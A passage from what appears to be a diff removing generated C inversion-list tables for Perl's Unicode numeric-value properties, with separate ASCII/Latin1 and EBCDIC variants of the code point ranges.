0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109F3, - 0x109F4 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__8_invlist[] = { /* for ASCII/Latin1 */ - 191, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x38, - 0x39, - 0x668, - 0x669, - 0x6F8, - 0x6F9, - 0x7C8, - 0x7C9, - 0x96E, - 0x96F, - 0x9EE, - 0x9EF, - 0xA6E, - 0xA6F, - 0xAEE, - 0xAEF, - 0xB6E, - 0xB6F, - 0xBEE, - 0xBEF, - 0xC6E, - 0xC6F, - 0xCEE, - 0xCEF, - 0xD6E, - 0xD6F, - 0xDEE, - 0xDEF, - 0xE58, - 0xE59, - 0xED8, - 0xED9, - 0xF28, - 0xF29, - 0x1048, - 0x1049, - 0x1098, - 0x1099, - 0x1370, - 0x1371, - 0x17E8, - 0x17E9, - 0x17F8, - 0x17F9, - 0x1818, - 0x1819, - 0x194E, - 0x194F, - 0x19D8, - 0x19D9, - 0x1A88, - 0x1A89, - 0x1A98, - 0x1A99, - 0x1B58, - 0x1B59, - 0x1BB8, - 0x1BB9, - 0x1C48, - 0x1C49, - 0x1C58, - 0x1C59, - 0x2078, - 0x2079, - 0x2088, - 0x2089, - 0x2167, - 0x2168, - 0x2177, - 0x2178, - 0x2467, - 0x2468, - 0x247B, - 0x247C, - 0x248F, - 0x2490, - 0x24FC, - 0x24FD, - 0x277D, - 0x277E, - 0x2787, - 0x2788, - 0x2791, - 0x2792, - 0x3028, - 0x3029, - 0x3227, - 0x3228, - 0x3287, - 0x3288, - 0x516B, - 0x516C, - 0x634C, - 0x634D, - 0xA628, - 0xA629, - 0xA6ED, - 0xA6EE, - 0xA8D8, - 0xA8D9, - 0xA908, - 0xA909, - 0xA9D8, - 0xA9D9, - 0xA9F8, - 0xA9F9, - 0xAA58, - 0xAA59, - 0xABF8, - 0xABF9, - 0xFF18, - 0xFF19, - 0x1010E, - 0x1010F, - 0x102E8, - 0x102E9, - 0x104A8, - 0x104A9, - 0x109C7, - 0x109C8, - 0x10E67, - 0x10E68, - 0x11059, - 0x1105A, - 0x1106E, - 0x1106F, - 0x110F8, - 0x110F9, - 0x1113E, - 0x1113F, - 0x111D8, - 0x111D9, - 0x111E8, - 0x111E9, - 0x112F8, - 0x112F9, - 0x11458, - 0x11459, - 0x114D8, - 0x114D9, - 0x11658, - 0x11659, - 0x116C8, - 0x116C9, - 0x11738, - 0x11739, - 0x118E8, - 0x118E9, - 0x11C58, - 0x11C59, - 0x11C61, - 0x11C62, - 0x11D58, - 0x11D59, - 0x12406, - 0x12407, - 0x1240D, - 0x1240E, - 0x12413, - 0x12414, - 0x1241C, - 0x1241D, - 0x1242A, - 0x1242B, - 0x12444, - 0x12446, - 0x1246D, - 0x1246E, - 0x16A68, - 0x16A69, - 0x16B58, - 0x16B59, - 0x1D367, - 0x1D368, - 0x1D7D6, - 0x1D7D7, - 0x1D7E0, - 0x1D7E1, - 0x1D7EA, - 0x1D7EB, - 0x1D7F4, - 0x1D7F5, - 0x1D7FE, - 0x1D7FF, - 0x1E8CE, - 0x1E8CF, - 0x1E958, - 0x1E959, - 0x1F109, - 0x1F10A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__8_invlist[] = { /* for EBCDIC 1047 */ - 191, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF8, - 0xF9, - 0x668, - 0x669, - 0x6F8, - 0x6F9, - 0x7C8, - 0x7C9, - 0x96E, - 0x96F, - 0x9EE, - 0x9EF, - 0xA6E, - 0xA6F, - 0xAEE, - 0xAEF, - 0xB6E, - 0xB6F, - 0xBEE, - 0xBEF, - 0xC6E, - 0xC6F, - 0xCEE, - 0xCEF, - 0xD6E, - 0xD6F, - 0xDEE, - 0xDEF, - 0xE58, - 0xE59, - 0xED8, - 0xED9, - 0xF28, - 0xF29, - 0x1048, - 0x1049, - 0x1098, - 0x1099, - 0x1370, - 0x1371, - 0x17E8, - 0x17E9, - 0x17F8, - 0x17F9, - 0x1818, - 0x1819, - 0x194E, - 0x194F, - 0x19D8, - 0x19D9, - 0x1A88, - 0x1A89, - 0x1A98, - 0x1A99, - 0x1B58, - 0x1B59, - 0x1BB8, - 0x1BB9, - 0x1C48, - 0x1C49, - 0x1C58, - 0x1C59, - 0x2078, - 0x2079, - 0x2088, - 0x2089, - 0x2167, - 0x2168, - 0x2177, - 0x2178, - 0x2467, - 0x2468, - 0x247B, - 0x247C, - 0x248F, - 0x2490, - 0x24FC, - 0x24FD, - 0x277D, - 0x277E, - 0x2787, - 0x2788, - 0x2791, - 0x2792, - 0x3028, - 0x3029, - 0x3227, - 0x3228, - 0x3287, - 0x3288, - 0x516B, - 0x516C, - 0x634C, - 0x634D, - 0xA628, - 0xA629, - 0xA6ED, - 0xA6EE, - 0xA8D8, - 0xA8D9, - 0xA908, - 0xA909, - 0xA9D8, - 0xA9D9, - 0xA9F8, - 0xA9F9, - 0xAA58, - 0xAA59, - 0xABF8, - 0xABF9, - 0xFF18, - 0xFF19, - 0x1010E, - 0x1010F, - 0x102E8, - 0x102E9, - 0x104A8, - 0x104A9, - 0x109C7, - 0x109C8, - 0x10E67, - 0x10E68, - 0x11059, - 0x1105A, - 0x1106E, - 0x1106F, - 0x110F8, - 0x110F9, - 0x1113E, - 0x1113F, - 0x111D8, - 0x111D9, - 0x111E8, - 0x111E9, - 0x112F8, - 0x112F9, - 0x11458, - 0x11459, - 0x114D8, - 0x114D9, - 0x11658, - 0x11659, - 0x116C8, - 0x116C9, - 0x11738, - 0x11739, - 0x118E8, - 0x118E9, - 0x11C58, - 0x11C59, - 0x11C61, - 0x11C62, - 0x11D58, - 0x11D59, - 0x12406, - 0x12407, - 0x1240D, - 0x1240E, - 0x12413, - 0x12414, - 0x1241C, - 0x1241D, - 0x1242A, - 0x1242B, - 0x12444, - 0x12446, - 0x1246D, - 0x1246E, - 0x16A68, - 0x16A69, - 0x16B58, - 0x16B59, - 0x1D367, - 0x1D368, - 0x1D7D6, - 0x1D7D7, - 0x1D7E0, - 0x1D7E1, - 0x1D7EA, - 0x1D7EB, - 0x1D7F4, - 0x1D7F5, - 0x1D7FE, - 0x1D7FF, - 0x1E8CE, - 0x1E8CF, - 0x1E958, - 0x1E959, - 0x1F109, - 0x1F10A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__8_invlist[] = { /* for EBCDIC 037 */ - 191, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF8, - 0xF9, - 0x668, - 0x669, - 0x6F8, - 0x6F9, - 0x7C8, - 0x7C9, - 0x96E, - 0x96F, - 0x9EE, - 0x9EF, - 0xA6E, - 0xA6F, - 0xAEE, - 0xAEF, - 0xB6E, - 0xB6F, - 0xBEE, - 0xBEF, - 0xC6E, - 0xC6F, - 0xCEE, - 0xCEF, - 0xD6E, - 0xD6F, - 0xDEE, - 0xDEF, - 0xE58, - 0xE59, - 0xED8, - 0xED9, - 0xF28, - 0xF29, - 0x1048, - 0x1049, - 0x1098, - 0x1099, - 0x1370, - 0x1371, - 0x17E8, - 0x17E9, - 0x17F8, - 0x17F9, - 0x1818, - 0x1819, - 0x194E, - 0x194F, - 0x19D8, - 0x19D9, - 0x1A88, - 0x1A89, - 0x1A98, - 0x1A99, - 0x1B58, - 0x1B59, - 0x1BB8, - 0x1BB9, - 0x1C48, - 0x1C49, - 0x1C58, - 0x1C59, - 0x2078, - 0x2079, - 0x2088, - 0x2089, - 0x2167, - 0x2168, - 0x2177, - 0x2178, - 0x2467, - 0x2468, - 0x247B, - 0x247C, - 0x248F, - 0x2490, - 0x24FC, - 0x24FD, - 0x277D, - 0x277E, - 0x2787, - 0x2788, - 0x2791, - 0x2792, - 0x3028, - 0x3029, - 0x3227, - 0x3228, - 0x3287, - 0x3288, - 0x516B, - 0x516C, - 0x634C, - 0x634D, - 0xA628, - 0xA629, - 0xA6ED, - 0xA6EE, - 0xA8D8, - 0xA8D9, - 0xA908, - 0xA909, - 0xA9D8, - 0xA9D9, - 0xA9F8, - 0xA9F9, - 0xAA58, - 0xAA59, - 0xABF8, - 0xABF9, - 0xFF18, - 0xFF19, - 0x1010E, - 0x1010F, - 0x102E8, - 0x102E9, - 0x104A8, - 0x104A9, - 0x109C7, - 0x109C8, - 0x10E67, - 0x10E68, - 0x11059, - 0x1105A, - 0x1106E, - 0x1106F, - 0x110F8, - 0x110F9, - 0x1113E, - 0x1113F, - 0x111D8, - 0x111D9, - 0x111E8, - 0x111E9, - 0x112F8, - 0x112F9, - 0x11458, - 0x11459, - 0x114D8, - 0x114D9, - 0x11658, - 0x11659, - 0x116C8, - 0x116C9, - 0x11738, - 0x11739, - 0x118E8, - 0x118E9, - 0x11C58, - 0x11C59, - 0x11C61, - 0x11C62, - 0x11D58, - 0x11D59, - 0x12406, - 0x12407, - 0x1240D, - 0x1240E, - 0x12413, - 0x12414, - 0x1241C, - 0x1241D, - 0x1242A, - 0x1242B, - 0x12444, - 0x12446, - 0x1246D, - 0x1246E, - 0x16A68, - 0x16A69, - 0x16B58, - 0x16B59, - 0x1D367, - 0x1D368, - 0x1D7D6, - 0x1D7D7, - 0x1D7E0, - 0x1D7E1, - 0x1D7EA, - 0x1D7EB, - 0x1D7F4, - 0x1D7F5, - 0x1D7FE, - 0x1D7FF, - 0x1E8CE, - 0x1E8CF, - 0x1E958, - 0x1E959, - 0x1F109, - 0x1F10A -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__80_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1379, - 0x137A, - 0x324F, - 0x3250, - 0x10117, - 0x10118, - 0x102F1, - 0x102F2, - 0x10E70, - 0x10E71, - 0x11062, - 0x11063, - 0x111F1, - 0x111F2, - 0x118F1, - 0x118F2, - 0x11C6A, - 0x11C6B, - 0x1D370, - 0x1D371 -}; - -static const UV PL_NV__800_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10120, - 0x10121, - 0x102FA, - 0x102FB, - 0x109D9, - 0x109DA, - 0x10E79, - 0x10E7A -}; - -static const UV PL_NV__8000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10129, - 0x1012A, - 0x109E2, - 0x109E3 -}; - -static const UV PL_NV__80000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10132, - 0x10133, - 0x109EB, - 0x109EC -}; - -static const UV PL_NV__800000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109F4, - 0x109F5 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__9_invlist[] = { /* for ASCII/Latin1 */ - 195, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x39, - 0x3A, - 0x669, - 0x66A, - 0x6F9, - 0x6FA, - 0x7C9, - 0x7CA, - 0x96F, - 0x970, - 0x9EF, - 0x9F0, - 0xA6F, - 0xA70, - 0xAEF, - 0xAF0, - 0xB6F, - 0xB70, - 0xBEF, - 0xBF0, - 0xC6F, - 0xC70, - 0xCEF, - 0xCF0, - 0xD6F, - 0xD70, - 0xDEF, - 0xDF0, - 0xE59, - 0xE5A, - 0xED9, - 0xEDA, - 0xF29, - 0xF2A, - 0x1049, - 0x104A, - 0x1099, - 0x109A, - 0x1371, - 0x1372, - 0x17E9, - 0x17EA, - 0x17F9, - 0x17FA, - 0x1819, - 0x181A, - 0x194F, - 0x1950, - 0x19D9, - 0x19DA, - 0x1A89, - 0x1A8A, - 0x1A99, - 0x1A9A, - 0x1B59, - 0x1B5A, - 0x1BB9, - 0x1BBA, - 0x1C49, - 0x1C4A, - 0x1C59, - 0x1C5A, - 0x2079, - 0x207A, - 0x2089, - 0x208A, - 0x2168, - 0x2169, - 0x2178, - 0x2179, - 0x2468, - 0x2469, - 0x247C, - 0x247D, - 0x2490, - 0x2491, - 0x24FD, - 0x24FE, - 0x277E, - 0x277F, - 0x2788, - 0x2789, - 0x2792, - 0x2793, - 0x3029, - 0x302A, - 0x3228, - 0x3229, - 0x3288, - 0x3289, - 0x4E5D, - 0x4E5E, - 0x5EFE, - 0x5EFF, - 0x7396, - 0x7397, - 0xA629, - 0xA62A, - 0xA6EE, - 0xA6EF, - 0xA8D9, - 0xA8DA, - 0xA909, - 0xA90A, - 0xA9D9, - 0xA9DA, - 0xA9F9, - 0xA9FA, - 0xAA59, - 0xAA5A, - 0xABF9, - 0xABFA, - 0xFF19, - 0xFF1A, - 0x1010F, - 0x10110, - 0x102E9, - 0x102EA, - 0x104A9, - 0x104AA, - 0x109C8, - 0x109C9, - 0x10E68, - 0x10E69, - 0x1105A, - 0x1105B, - 0x1106F, - 0x11070, - 0x110F9, - 0x110FA, - 0x1113F, - 0x11140, - 0x111D9, - 0x111DA, - 0x111E9, - 0x111EA, - 0x112F9, - 0x112FA, - 0x11459, - 0x1145A, - 0x114D9, - 0x114DA, - 0x11659, - 0x1165A, - 0x116C9, - 0x116CA, - 0x11739, - 0x1173A, - 0x118E9, - 0x118EA, - 0x11C59, - 0x11C5A, - 0x11C62, - 0x11C63, - 0x11D59, - 0x11D5A, - 0x12407, - 0x12408, - 0x1240E, - 0x1240F, - 0x12414, - 0x12415, - 0x1241D, - 0x1241E, - 0x1242B, - 0x1242C, - 0x12446, - 0x1244A, - 0x1246E, - 0x1246F, - 0x16A69, - 0x16A6A, - 0x16B59, - 0x16B5A, - 0x1D368, - 0x1D369, - 0x1D7D7, - 0x1D7D8, - 0x1D7E1, - 0x1D7E2, - 0x1D7EB, - 0x1D7EC, - 0x1D7F5, - 0x1D7F6, - 0x1D7FF, - 0x1D800, - 0x1E8CF, - 0x1E8D0, - 0x1E959, - 0x1E95A, - 0x1F10A, - 0x1F10B, - 0x2F890, - 0x2F891 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__9_invlist[] = { /* for EBCDIC 1047 */ - 195, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF9, - 0xFA, - 0x669, - 0x66A, - 0x6F9, - 0x6FA, - 0x7C9, - 0x7CA, - 0x96F, - 0x970, - 0x9EF, - 0x9F0, - 0xA6F, - 0xA70, - 0xAEF, - 0xAF0, - 0xB6F, - 0xB70, - 0xBEF, - 0xBF0, - 0xC6F, - 0xC70, - 0xCEF, - 0xCF0, - 0xD6F, - 0xD70, - 0xDEF, - 0xDF0, - 0xE59, - 0xE5A, - 0xED9, - 0xEDA, - 0xF29, - 0xF2A, - 0x1049, - 0x104A, - 0x1099, - 0x109A, - 0x1371, - 0x1372, - 0x17E9, - 0x17EA, - 0x17F9, - 0x17FA, - 0x1819, - 0x181A, - 0x194F, - 0x1950, - 0x19D9, - 0x19DA, - 0x1A89, - 0x1A8A, - 0x1A99, - 0x1A9A, - 0x1B59, - 0x1B5A, - 0x1BB9, - 0x1BBA, - 0x1C49, - 0x1C4A, - 0x1C59, - 0x1C5A, - 0x2079, - 0x207A, - 0x2089, - 0x208A, - 0x2168, - 0x2169, - 0x2178, - 0x2179, - 0x2468, - 0x2469, - 0x247C, - 0x247D, - 0x2490, - 0x2491, - 0x24FD, - 0x24FE, - 0x277E, - 0x277F, - 0x2788, - 0x2789, - 0x2792, - 0x2793, - 0x3029, - 0x302A, - 0x3228, - 0x3229, - 0x3288, - 0x3289, - 0x4E5D, - 0x4E5E, - 0x5EFE, - 0x5EFF, - 0x7396, - 0x7397, - 0xA629, - 0xA62A, - 0xA6EE, - 0xA6EF, - 0xA8D9, - 0xA8DA, - 0xA909, - 0xA90A, - 0xA9D9, - 0xA9DA, - 0xA9F9, - 0xA9FA, - 0xAA59, - 0xAA5A, - 0xABF9, - 0xABFA, - 0xFF19, - 0xFF1A, - 0x1010F, - 0x10110, - 0x102E9, - 0x102EA, - 0x104A9, - 0x104AA, - 0x109C8, - 0x109C9, - 0x10E68, - 0x10E69, - 0x1105A, - 0x1105B, - 0x1106F, - 0x11070, - 0x110F9, - 0x110FA, - 0x1113F, - 0x11140, - 0x111D9, - 0x111DA, - 0x111E9, - 0x111EA, - 0x112F9, - 0x112FA, - 0x11459, - 0x1145A, - 0x114D9, - 0x114DA, - 0x11659, - 0x1165A, - 0x116C9, - 0x116CA, - 0x11739, - 0x1173A, - 0x118E9, - 0x118EA, - 0x11C59, - 0x11C5A, - 0x11C62, - 0x11C63, - 0x11D59, - 0x11D5A, - 0x12407, - 0x12408, - 0x1240E, - 0x1240F, - 0x12414, - 0x12415, - 0x1241D, - 0x1241E, - 0x1242B, - 0x1242C, - 0x12446, - 0x1244A, - 0x1246E, - 0x1246F, - 0x16A69, - 0x16A6A, - 0x16B59, - 0x16B5A, - 0x1D368, - 0x1D369, - 0x1D7D7, - 0x1D7D8, - 0x1D7E1, - 0x1D7E2, - 0x1D7EB, - 0x1D7EC, - 0x1D7F5, - 0x1D7F6, - 0x1D7FF, - 0x1D800, - 0x1E8CF, - 0x1E8D0, - 0x1E959, - 0x1E95A, - 0x1F10A, - 0x1F10B, - 0x2F890, - 0x2F891 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__9_invlist[] = { /* for EBCDIC 037 */ - 195, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF9, - 0xFA, - 0x669, - 0x66A, - 0x6F9, - 0x6FA, - 0x7C9, - 0x7CA, - 0x96F, - 0x970, - 0x9EF, - 0x9F0, - 0xA6F, - 0xA70, - 0xAEF, - 0xAF0, - 0xB6F, - 0xB70, - 0xBEF, - 0xBF0, - 0xC6F, - 0xC70, - 0xCEF, - 0xCF0, - 0xD6F, - 0xD70, - 0xDEF, - 0xDF0, - 0xE59, - 0xE5A, - 0xED9, - 0xEDA, - 0xF29, - 0xF2A, - 0x1049, - 0x104A, - 0x1099, - 0x109A, - 0x1371, - 0x1372, - 0x17E9, - 0x17EA, - 0x17F9, - 0x17FA, - 0x1819, - 0x181A, - 0x194F, - 0x1950, - 0x19D9, - 0x19DA, - 0x1A89, - 0x1A8A, - 0x1A99, - 0x1A9A, - 0x1B59, - 0x1B5A, - 0x1BB9, - 0x1BBA, - 0x1C49, - 0x1C4A, - 0x1C59, - 0x1C5A, - 0x2079, - 0x207A, - 0x2089, - 0x208A, - 0x2168, - 0x2169, - 0x2178, - 0x2179, - 0x2468, - 0x2469, - 0x247C, - 0x247D, - 0x2490, - 0x2491, - 0x24FD, - 0x24FE, - 0x277E, - 0x277F, - 0x2788, - 0x2789, - 0x2792, - 0x2793, - 0x3029, - 0x302A, - 0x3228, - 0x3229, - 0x3288, - 0x3289, - 0x4E5D, - 0x4E5E, - 0x5EFE, - 0x5EFF, - 0x7396, - 0x7397, - 0xA629, - 0xA62A, - 0xA6EE, - 0xA6EF, - 0xA8D9, - 0xA8DA, - 0xA909, - 0xA90A, - 0xA9D9, - 0xA9DA, - 0xA9F9, - 0xA9FA, - 0xAA59, - 0xAA5A, - 0xABF9, - 0xABFA, - 0xFF19, - 0xFF1A, - 0x1010F, - 0x10110, - 0x102E9, - 0x102EA, - 0x104A9, - 0x104AA, - 0x109C8, - 0x109C9, - 0x10E68, - 0x10E69, - 0x1105A, - 0x1105B, - 0x1106F, - 0x11070, - 0x110F9, - 0x110FA, - 0x1113F, - 0x11140, - 0x111D9, - 0x111DA, - 0x111E9, - 0x111EA, - 0x112F9, - 0x112FA, - 0x11459, - 0x1145A, - 0x114D9, - 0x114DA, - 0x11659, - 0x1165A, - 0x116C9, - 0x116CA, - 0x11739, - 0x1173A, - 0x118E9, - 0x118EA, - 0x11C59, - 0x11C5A, - 0x11C62, - 0x11C63, - 0x11D59, - 0x11D5A, - 0x12407, - 0x12408, - 0x1240E, - 0x1240F, - 0x12414, - 0x12415, - 0x1241D, - 0x1241E, - 0x1242B, - 0x1242C, - 0x12446, - 0x1244A, - 0x1246E, - 0x1246F, - 0x16A69, - 0x16A6A, - 0x16B59, - 0x16B5A, - 0x1D368, - 0x1D369, - 0x1D7D7, - 0x1D7D8, - 0x1D7E1, - 0x1D7E2, - 0x1D7EB, - 0x1D7EC, - 0x1D7F5, - 0x1D7F6, - 0x1D7FF, - 0x1D800, - 0x1E8CF, - 0x1E8D0, - 0x1E959, - 0x1E95A, - 0x1F10A, - 0x1F10B, - 0x2F890, - 0x2F891 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__9_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF2E, - 0xF2F -}; - -static const UV PL_NV__90_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x137A, - 0x137B, - 0x10118, - 0x10119, - 0x102F2, - 0x102F3, - 0x10341, - 0x10342, - 0x10E71, - 0x10E72, - 0x11063, - 0x11064, - 0x111F2, - 0x111F3, - 0x118F2, - 0x118F3, - 0x11C6B, - 0x11C6C, - 0x1D371, - 0x1D372 -}; - -static const UV PL_NV__900_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10121, - 0x10122, - 0x102FB, - 0x102FC, - 0x1034A, - 0x1034B, - 0x109DA, - 0x109DB, - 0x10E7A, - 0x10E7B -}; - -static const UV PL_NV__9000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1012A, - 0x1012B, - 0x109E3, - 0x109E4 -}; - -static const UV PL_NV__90000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10133, - 0x10134, - 0x109EC, - 0x109ED -}; - -static const UV PL_NV__900000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109F5, - 0x109F6 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__NAN_invlist[] = { /* for ASCII/Latin1 */ - 377, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0xB2, - 0xB4, - 0xB9, - 0xBA, - 0xBC, - 0xBF, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0x9F4, - 0x9FA, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xB72, - 0xB78, - 0xBE6, - 0xBF3, - 0xC66, - 0xC70, - 0xC78, - 0xC7F, - 0xCE6, - 0xCF0, - 0xD58, - 0xD5F, - 0xD66, - 0xD79, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF34, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x1369, - 0x137D, - 0x16EE, - 0x16F1, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DB, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x3405, - 0x3406, - 0x3483, - 0x3484, - 0x382A, - 0x382B, - 0x3B4D, - 0x3B4E, - 0x4E00, - 0x4E01, - 0x4E03, - 0x4E04, - 0x4E07, - 0x4E08, - 0x4E09, - 0x4E0A, - 0x4E5D, - 0x4E5E, - 0x4E8C, - 0x4E8D, - 0x4E94, - 0x4E95, - 0x4E96, - 0x4E97, - 0x4EBF, - 0x4EC1, - 0x4EDF, - 0x4EE0, - 0x4EE8, - 0x4EE9, - 0x4F0D, - 0x4F0E, - 0x4F70, - 0x4F71, - 0x5104, - 0x5105, - 0x5146, - 0x5147, - 0x5169, - 0x516A, - 0x516B, - 0x516C, - 0x516D, - 0x516E, - 0x5341, - 0x5342, - 0x5343, - 0x5346, - 0x534C, - 0x534D, - 0x53C1, - 0x53C5, - 0x56DB, - 0x56DC, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5EFE, - 0x5F00, - 0x5F0C, - 0x5F0F, - 0x5F10, - 0x5F11, - 0x62FE, - 0x62FF, - 0x634C, - 0x634D, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0x7396, - 0x7397, - 0x767E, - 0x767F, - 0x8086, - 0x8087, - 0x842C, - 0x842D, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0x9621, - 0x9622, - 0x9646, - 0x9647, - 0x964C, - 0x964D, - 0x9678, - 0x9679, - 0x96F6, - 0x96F7, - 0xA620, - 0xA62A, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xF96B, - 0xF96C, - 0xF973, - 0xF974, - 0xF978, - 0xF979, - 0xF9B2, - 0xF9B3, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xF9FD, - 0xF9FE, - 0xFF10, - 0xFF1A, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x104A0, - 0x104AA, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x111E1, - 0x111F5, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173C, - 0x118E0, - 0x118F3, - 0x11C50, - 0x11C6D, - 0x11D50, - 0x11D5A, - 0x12400, - 0x1246F, - 0x16A60, - 0x16A6A, - 0x16B50, - 